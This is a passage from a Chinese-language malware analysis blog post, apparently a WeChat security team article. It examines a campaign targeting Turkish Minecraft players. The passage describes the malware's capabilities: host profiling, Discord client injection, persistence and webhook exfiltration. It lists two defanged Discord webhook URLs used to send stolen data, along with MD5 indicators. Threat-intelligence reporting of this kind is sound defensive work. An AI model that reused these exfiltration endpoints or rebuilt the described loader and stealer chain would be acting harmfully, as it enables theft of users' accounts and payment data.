leaf="">系统信息收集</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">调用系统命令和API获取主机信息</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">操作系统版本、CPU型号、GPU、内存大小、UUID、MAC地址、IP地址、地理位置</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">会话控制</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">监听并阻止新的认证会话请求</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">当前 Token 会话</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">自动登出</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">调用/auth/logout使用户会话失效</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">当前登录会话</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(248, 248, 248);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">持久化</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">写入客户端启动文件确保每次启动执行恶意代码</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">客户端启动流程</span></p></td></tr><tr style="color: rgb(0, 0, 0);background: left top no-repeat rgb(255, 255, 255);width: auto;height: auto;"><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">数据格式化</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">将收集信息整理为JSON并发送到Webhook</span></p></td><td style="padding: 5px 10px;min-width: 85px;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;"><p><span leaf="">全部收集的数据</span></p></td></tr></tbody></table></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">x.js是MediaMarkt土耳其（odeme.mediamarkt.com.tr）的前端支付模块。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.6148148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030542" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2f6aa9b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2MnhU9VrticblGl9SySyibLUjIHZRHKXp93GA3XdibNz6adaNibJRZ2DeDYO5yTs9VgiblCCKkgyAriaarmVw1ARBlcKl2eUSk7RB67I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">另一个中a、b文件为hex形式备用回传地址</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">hxxps://canary.discord[.]com/api/webhooks/1479880344021766328/H3LH_by6T5_yMjDlkopHCOjzXTTFtJSXdiDT9Pnjl5eJXRhn56QYpP1d0koy-lpfGxwc</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">hxxps://canary.discord[.]com/api/webhooks/1479545691146555432/AcYOLt_uWj2cf6rURoJmkDgyxypt_97A5LiPao-fg3cIx3hdHTtbGedBOiQ95vlyQRM_</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.47962962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030543" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd93c13c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2PpvFG9XLyyQkhYC6bmE8sS1ak8tgA6qBQ6bMyqnuCyC3WjTA0ia3cpw5WUiaVkAFk7j63ib7MiccDVg7KLZpr0aUN4ytKPAvSPYZ0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">而Releases中为test.jar（MD5：b599cced34190961334aac3e9752cc10）中net.minecraft.v5与官方 Minecraft Java 版的包结构不符合，而仓库nonamebaba/427ade9c15ec643751860eba9899355b中gatto.jar作用为一个确认对话框，显示消息内容为 &#34;selamlar&#34;（土耳其语，意为“问候”或“你好”）。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">package</span></span><span leaf=""> defpackage;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> java.awt.Component;</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> javax.swing.JOptionPane;</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf="">/* JADX INFO: loaded from: gatto.jar:Main.class */</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">public</span></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">class</span></span><span style="color: rgb(230, 192, 123);line-height: 26px;"><span leaf="">Main</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">public</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">static</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">void</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">(String[] args)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">        JOptionPane.showConfirmDialog((Component) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">null</span></span><span leaf="">, </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;selamlar&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">基于分析和上述内容，疑似针对土耳其地区的Minecraft玩家群体，旨在利用游戏社区信任链窃取高价值账户凭证（Discord）及支付信息</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">总结</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">样本利用 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">Java混淆Loader、PowerShell下载执行链和GitHub托管Payload</span></strong><span leaf="">构建多阶段攻击链，在目标系统中自动部署隐藏JRE并执行伪装Jar，最终注入Discord客户端窃取账户、支付及系统信息并通过Webhook回传。</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">IOCs</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">1db57b053ffcf1ee4e918cfd53c4d39c</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">a02a46893b9d79fef8e4488ec8d28a23</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">7d010a082b9ce26d22d5e290481b149b</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">716db862baf0de7d01fa2a145f0cffc5</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">164578b9c0d4c2342c993d248615cf18</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">d70547ce7b628853d2bfaec113c10436</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">ffef7f5b292ce5e01c253a60487f905d</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">b599cced34190961334aac3e9752cc10</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">4f183db137ceeb1c9a8ea3af70a1bfbe</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">参考</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://x.com/smica83" target="_blank">https://x.com/smica83</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://github.com/zinja-coder/jadx-ai-mcp" target="_blank">https://github.com/zinja-coder/jadx-ai-mcp</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://www.joesandbox.com/analysis/1879815/0/html" target="_blank">https://www.joesandbox.com/analysis/1879815/0/html</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1b0e80712d2a508976fcfc5312395c46&amp;sk=88995683" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1b0e80712d2a508976fcfc5312395c46&amp;sk=88995683</a></span></p></div><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=c1a3fffd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FkiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w%2F640%3Fwx_fmt%3Dgif&#34;);background-size: 100% auto;background-position: 0px center;background-repeat: no-repeat;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: 20px 0px -30px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: right;transform: translate3d(16px, 0px, 0px);"><div style="margin: 0px;padding: 0px 0px 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 315.719px;vertical-align: top;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="margin: -10px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;"><svg xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 536.1 59.2" style="vertical-align: middle;" width="536.1" role="img" aria-label="插图"><g><polygon points="533.5,3 518.7,19.1 503.1,1 486.9,18.6 471.3,0.5 455.1,18.1 439.5,0 422,19.1 424.6,21.5 439.4,5.3 455,23.4    471.2,5.8 486.8,23.9 503,6.3 518.6,24.4 536.1,5.4" fill="#000000"></polygon><g><polygon points="89.5,28.7 82.5,39.3 96.5,39.3" fill="#000000"></polygon><polygon points="68.9,28.7 61.9,39.3 75.9,39.3" fill="#000000"></polygon><polygon points="48.2,28.7 41.3,39.3 55.2,39.3" fill="#000000"></polygon><polygon points="27.6,28.7 20.6,39.3 34.6,39.3" fill="#000000"></polygon><polygon points="7,28.7 0,39.3 14,39.3" fill="#000000"></polygon></g><g><rect x="144.2" y="36.9" width="328.3" height="3.6" fill="rgb(233, 194, 89)"></rect></g><g><rect x="41.3" y="55.6" width="448.1" height="3.6" fill="#000000"></rect></g></g></svg></p></div></div></div></div></div></div></div></div></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;font-variant-ligatures: normal;orphans: 2;widows: 2;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=89af1f43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp%23imgIndex%3D3"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=204158ed&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247514194%26idx%3D1%26sn%3De7aeaa96d2d65d137d22d5cbb3a73fb8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Mar 2026 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>EHAX CTF 2026 Writeup by Mini-Venom</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247514166&amp;idx=1&amp;sn=f232e675d210d33247ad1bbb9a4fe922</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>Mini-Venom</span> <span>2026-03-09 08:08</span> <span style="display: inline-block;">辽宁</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=24e68ac7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjvwqHfehg2MibD4vzPvmicPpaRPFtwU4VbBOu8Q3micG9m4BG0PnJXUYbWnTrXjAGLhO3ibUgHfD6TzMRP7weianny8dibKg7rJicjDeMcncR56MEI%2F0%3Fwx_fmt%3Djpeg"/></p>
  
